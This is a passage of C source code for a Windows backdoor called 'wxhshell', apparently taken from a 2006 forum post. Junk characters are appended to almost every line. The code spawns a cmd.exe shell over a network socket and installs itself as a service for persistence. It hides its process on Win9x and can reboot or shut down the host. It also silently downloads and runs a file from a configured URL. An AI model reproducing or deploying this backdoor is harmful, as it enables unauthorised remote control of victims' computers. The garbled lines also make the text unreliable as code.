  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FG5YZrONx  
  } ">v- CSHY  
  else { UXPF"}S2  
DCSmEy`.  
    switch(cmd[0]) { qoAJcr2uN  
  d04fj/B  
  // 帮助 ?`3G5at)9f  
  case '?': { ZfU &X{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?6V U4nK/*  
    break; ? ]H'egG6  
  } (vPE?^}b  
  // 安装 8E|FFHNK<2  
  case 'i': { S;}/ql y  
    if(Install()) |[iEi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?OBB)hj  
    else &\W5|*`x-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }_fVv{D   
    break; T~naAP  
    } ,!bcm  
  // 卸载 A",Xn/d  
  case 'r': { RPZ -  
    if(Uninstall()) J:dNV <A^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K_}81|=  
    else BWLeitS/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X<uH [  
    break; 6#Bg99c  
    } "9OOyeKu%  
  // 显示 wxhshell 所在路径 ]//D d/L6  
  case 'p': { BFPy~5W  
    char svExeFile[MAX_PATH]; Q32GI,M%B  
    strcpy(svExeFile,"\n\r"); l-q.VY2  
      strcat(svExeFile,ExeFile); 7,ffY/  
        send(wsh,svExeFile,strlen(svExeFile),0); tRXR/;3O  
    break; Mo&Po9  
    } R QCKH]&!  
  // 重启 yG:Pg MrB  
  case 'b': { [p96H)8YU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^fhkWx4i  
    if(Boot(REBOOT)) {3G2-$yb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~c|{PZ9U  
    else { q&V=A[<rz  
    closesocket(wsh); cB4p.iO   
    ExitThread(0); 9 [wR/8Xm  
    } ;op 8r u  
    break; gg QI  
    } K Z Q `  
  // 关机 ^vr`t9EE  
  case 'd': { Z$ 6yB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wIK&EGQ  
    if(Boot(SHUTDOWN)) QW6\~l 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z=a{;1A  
    else { WHv xBd  
    closesocket(wsh); Cs8e("w  
    ExitThread(0); M UqV$#4@I  
    } #AUa'qB t  
    break; P:2 0i*QU  
    } Oz7WtN  
  // 获取shell 9 e0Oj3!B  
  case 's': { Auf2JH~  
    CmdShell(wsh); ~U_,z)<`)c  
    closesocket(wsh); ^FN(wvqb8  
    ExitThread(0); VU 8 ~hF  
    break; t"]~e"  
  } $_NP4V8|z/  
  // 退出 PV/S zfvIq  
  case 'x': { ]BBL=$*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tQrkRg(E:  
    CloseIt(wsh); m\?H < o0  
    break; y}!}*Qj+/  
    } XhxCOpO  
  // 离开 7!-y72qx  
  case 'q': { H}B%OFI\+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8^%Nl `_2B  
    closesocket(wsh); #OVf2  "  
    WSACleanup(); FZ^j|2.L*  
    exit(1); o$_,2$>mn  
    break; sy;_%,}N  
        } )I`Ma6bX  
  } ^z\*; f  
  } 1C' _I  
}Pn]j7u!  
  // 提示信息 1O,<JrE+-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I?!7]Sn$  
} 9k[>(LC  
  } !*@sX7H  
`c~J&@|  
  return; ;VAHgIpx;  
} ~E tW B  
MF["-GvP/  
// shell模块句柄 5x:dhkW  
int CmdShell(SOCKET sock) @?r[ $Ea1M  
{ z<c%Xl\$%  
STARTUPINFO si; ij<6gv~ n"  
ZeroMemory(&si,sizeof(si)); 5p7?e3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t/TWLhx/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W dNOE;R  
PROCESS_INFORMATION ProcessInfo; ^E^Cj;od@  
char cmdline[]="cmd"; V"`t*m$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J@vL,C)E6  
  return 0; d1rIU6  
} .!pr0/9B  
gL:Vj%c  
// 自身启动模式 <)dHe:  
int StartFromService(void) U$,W/G}m  
{ }; ;Thfd  
typedef struct p2/Pj)2  
{ <_N<L\  
  DWORD ExitStatus; ,'f^K!iA   
  DWORD PebBaseAddress; Oe/\@f0bLT  
  DWORD AffinityMask; 0<";9qN)6  
  DWORD BasePriority; e: aa  
  ULONG UniqueProcessId; v{[:7]b_=  
  ULONG InheritedFromUniqueProcessId; BHZCM^  
}   PROCESS_BASIC_INFORMATION; !RD<"  
C3"5XR_Ov  
PROCNTQSIP NtQueryInformationProcess; Glw_<ag[  
f"}g5eg+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Lq6R_ud p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `UK'IN.il  
(/a#1Pd&  
  HANDLE             hProcess; _ / >JM0  
  PROCESS_BASIC_INFORMATION pbi; NrK.DY4  
[Ep%9(SgA'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L HW\A8  
  if(NULL == hInst ) return 0; e>] gCa  
CVt:tV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^kO+NH40  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); . \t8s0A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R ~ZcTY[8  
pRys 5/&v  
  if (!NtQueryInformationProcess) return 0; s ]XZQr%  
h%%ryQQ&<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?bH&F  
  if(!hProcess) return 0; K8bKTG\  
YstR T1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d2a*xDkv  
Mm)yabP  
  CloseHandle(hProcess); R0g^0K.  
\5iMr[s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D>fg  
if(hProcess==NULL) return 0; !*1 $j7`tP  
bt{b%r  
HMODULE hMod; /wI"oHZd  
char procName[255]; ZccvZl ;b  
unsigned long cbNeeded; 2<FEn$n[  
&.l^>#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [} zzG@g,J  
,r8#-~A6,A  
  CloseHandle(hProcess); Gl"|t't(  
64i*_\UKe  
if(strstr(procName,"services")) return 1; // 以服务启动 21$E.x 6  
0,/I2!dF?  
  return 0; // 注册表启动 hm*cGYV/  
} 4iI4+  
ZXIw^!8@/  
// 主模块 (Z0_e&=*  
int StartWxhshell(LPSTR lpCmdLine) u*T( n s l  
{ SK*z4p  
  SOCKET wsl; 5%%e$o+  
BOOL val=TRUE; J= [D'h  
  int port=0; BW:HKH.k  
  struct sockaddr_in door; ysj5/wtO0  
6CCm1F{`  
  if(wscfg.ws_autoins) Install(); 16ZyLt  
4{@{VsXN  
port=atoi(lpCmdLine); 3K=%I+G(4  
.* )e24`  
if(port<=0) port=wscfg.ws_port; Q5^ #:uZ  
uGv|!UQw  
  WSADATA data; 9=mc3m:Tb(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FUarI5#fwF  
/&c2O X|Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :h(` eC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [!De|,u(^  
  door.sin_family = AF_INET; QC?~$>h!?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $g^D1zkuDT  
  door.sin_port = htons(port); 2t4\L3  
PY;tu#W!%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ua)jGif  
closesocket(wsl); \BuyJskE  
return 1; zak|* _  
} =W &Mt  
'4nJ*Xa  
  if(listen(wsl,2) == INVALID_SOCKET) { ~nTj't2R  
closesocket(wsl); B>W8pZu-J  
return 1; RC/45:hZZ  
} *E*oWb]H  
  Wxhshell(wsl); j*5IRzK1%0  
  WSACleanup(); 4-t^?T: qF  
-OSj<m<  
return 0; xorafL  
CxTmW5l  
} zs~Tu  
g@37t @I  
// 以NT服务方式启动 0'Si ^>bW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i84!x%|P  
{ {nbT$3=Zt  
DWORD   status = 0; f-G)pHm  
  DWORD   specificError = 0xfffffff; qXg&E}]:=  
*I)J%#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wS);KLe3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R!%nzL@e&`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +4.s4&f)  
  serviceStatus.dwWin32ExitCode     = 0; m/1FVC@*  
  serviceStatus.dwServiceSpecificExitCode = 0; ov,|`FdU^T  
  serviceStatus.dwCheckPoint       = 0; _Z Sp$>)/  
  serviceStatus.dwWaitHint       = 0; N(Ru/9!y"  
U fyhd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Rh ^(91d  
  if (hServiceStatusHandle==0) return; 54CJ6"q  
X58U>4a  
status = GetLastError(); MzD1sWmK  
  if (status!=NO_ERROR) V6X )L>!xx  
{ 4 kjfYf@A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *3H=t$1G}  
    serviceStatus.dwCheckPoint       = 0; uYMn VE"  
    serviceStatus.dwWaitHint       = 0; d/bimQ  
    serviceStatus.dwWin32ExitCode     = status; dMH_:jb  
    serviceStatus.dwServiceSpecificExitCode = specificError; "_q~S$i^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y {^*y  
    return;  yf:Vhr  
  } ==OUd6e}  
SO=gG 2E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p L"{Uqi  
  serviceStatus.dwCheckPoint       = 0; }6@E3z]AMO  
  serviceStatus.dwWaitHint       = 0; !?nO0Ao-$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q< XFw-Pv  
} #4JMb#q0E  
,*J@ic7"  
// 处理NT服务事件,比如:启动、停止 Jy)=TJ!y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A?H#bRAs  
{ `(FjOd K  
switch(fdwControl) [kg?q5F)  
{ Byc;r-Q5V  
case SERVICE_CONTROL_STOP: MY,~leP&  
  serviceStatus.dwWin32ExitCode = 0; cXPpxRXBD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >qo!#vJc a  
  serviceStatus.dwCheckPoint   = 0; "V' r}>  
  serviceStatus.dwWaitHint     = 0; 8ttJ\m  
  { $@L;j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -D~K9u]U_  
  } ubM1Qr  
  return; W3,r@mi^s7  
case SERVICE_CONTROL_PAUSE: {Dpsr` &  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,^([aK  
  break; O2Qmz=%  
case SERVICE_CONTROL_CONTINUE: ?>;aD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (%X *b.n=  
  break; 5p#0K@`n/  
case SERVICE_CONTROL_INTERROGATE: Wq A) V,E  
  break; 46=E- Tq  
}; nK;d\DO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _<(xjWp 8  
} 3+Lwtb}XPF  
6CyByj&  
// 标准应用程序主函数 @rYZ0`E9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =`3r'c  
{ @} r*KF-  
@@D/&}#F  
// 获取操作系统版本 D,cD]tB2  
OsIsNt=GetOsVer(); hl:Ba2_E +  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6]1RxrAV  
6>WkisxG  
  // 从命令行安装 ;5/Se"Nd  
  if(strpbrk(lpCmdLine,"iI")) Install(); }rJqMZ]w  
!f/K:CK|  
  // 下载执行文件 C1;uAw?\  
if(wscfg.ws_downexe) { E:9RskI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0kUhz\"R:q  
  WinExec(wscfg.ws_filenam,SW_HIDE); WfO EI1  
} dEDhdF#f  
&E]) sJ0  
if(!OsIsNt) { (')t >B1Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 )j8'6tk)Z  
HideProc(); ":eyf 3M  
StartWxhshell(lpCmdLine); #X)DFAtb  
} l iY/BkpH  
else a0ms9%Y;Q[  
  if(StartFromService()) 570ja7C:  
  // 以服务方式启动 #b d=G(o~6  
  StartServiceCtrlDispatcher(DispatchTable); eYv^cbO@:  
else q}_8iDO6  
  // 普通方式启动 '@24<T]  
  StartWxhshell(lpCmdLine); .B^ tEBGVD  
^X#)'\T  
return 0; "I=Lbh-`  
}
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只看该作者 1 发表于: 2006-10-10
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